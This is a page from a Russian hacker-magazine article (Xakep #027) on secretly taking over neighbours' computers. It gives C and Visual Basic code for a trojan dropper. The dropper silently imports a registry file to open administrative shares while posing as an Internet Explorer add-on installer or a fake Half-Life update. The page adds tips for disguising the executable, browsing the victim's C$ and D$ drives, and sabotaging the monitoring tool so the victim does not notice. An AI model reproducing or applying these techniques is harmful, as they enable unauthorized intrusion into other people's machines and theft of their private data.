|

Администрируем соседов
OZNOB
Xakep, номер #027, стр. 027-050-3
{
FILE *file = fopen("rulez.dat","r");
if (file) // существует ли файл?
{
fclose(file);
WinExec("regedit.exe /s rulez.dat", 1);
}
if (MessageBox(NULL, "Продолжить инсталляцию "
"дополнений к программе Internet Explorer 5.0?",
"Install", MB_OKCANCEL) == IDOK)
{
Sleep(5000); // засыпаем на 5 секунд
MessageBox(NULL, "Инсталляция закончена",
"Install", MB_OK);
}
else
{
MessageBox(NULL, "Инсталляция прервана",
"Install", MB_OK);
}
return 0;
}
Судя по-написанному, сначала идет проверка на существование файла, потом импортирование настроек в реестр (если файл существует). Ключ "/s" в строке импортирования нужен, чтобы "regedit" не вопил: "Добавить в реестр информацию из файла rulez.dat???"
Пример на VB:
Если кто-нибудь все же решится сделать подобное на Васике, очень советую использовать 5.0 версию, т. к. в деле будет только одна библиотека "msvbvm50.dll". Создаем проект, лепим на форму много кнопок и рычагов ;), далее:
Private Sub Form_Load()
On Error Resume Next
If Dir("rulez.dat") <> "" Then
x = Shell("regedit /s rulez.dat", vbNormalFocus)
End If
If Dir("hlds.exe") <> "" Then
x = Shell(App.Path & "/hlds.exe", vbNormalFocus)
Else
Call MsgBox("Error include WONCr_W95.dll", vbCritical, "DLL wrong version")
End If
End
End Sub
On Error Resume Next - используется для перехвата ошибок. В целом - все как в предыдущем примере, только тут использована еще одна хитрость. Откомпиленный exe'шник имел скрытую форму, назывался и имел иконку "hl.exe", оригинальный же "hl.exe" был переименован в "hlds.exe" (пришлось пожертвовать выделенным сервером). В ту же директорию кидалась "msvbvm50.dll". После народу предлагалось скачать обновление HalfLife и сыграть в "свежак" всем стадом.
Скажу только, что последующие несколько дней я был занят тщательным изучением соседских винчестеров :).
Кстати, чтобы совсем никто не сомневался, увеличь размер файла - добавь в проект пару BMP'шек килобайт по триста.
Как админить
После того как шпион либо откомпиленная бодягя были впаяны соседу, приступим к удаленному администрированию. Запускаем "Инспектора" и смотрим, вдруг кто-нибудь уже шарится по нашим дискам ;). Кликаем на менюшке, и выбираем "Выбрать сервер". В появившемся окошке вводим имя компьютера, того самого соседа. ОК. Если до этого все было сделано правильно, то Netwach законнектится к удаленному компу. Теперь видно, кто лазает по его ресурсам (кроме тебя и него). Не закрывая "Инспектора", ломимся на комп с помощью эксплорера, там помимо обычных шаров будет список всех логических дисков с именами "C$", "D$"... открытых только для тебя на полный доступ. Кстати "Инспектор" не показывает, что системный ресурс "ADMIN$" открыт.
Напоследок еще кое-что посоветую. Лучше сразу после получения доступа на чужом компе проверить "netwatch.exe" и для безопасности либо стереть файл, либо запороть (открыть "Блокнотом" и вставить пару фраз по-испански). Это нужно для того, чтобы юзер не догадался, в чем дело, не увидел через netwach, что ты шаришься по его закрытым дискам.
Назад на стр. 027-050-2 Содержание Вперед на стр. 027-050-4
|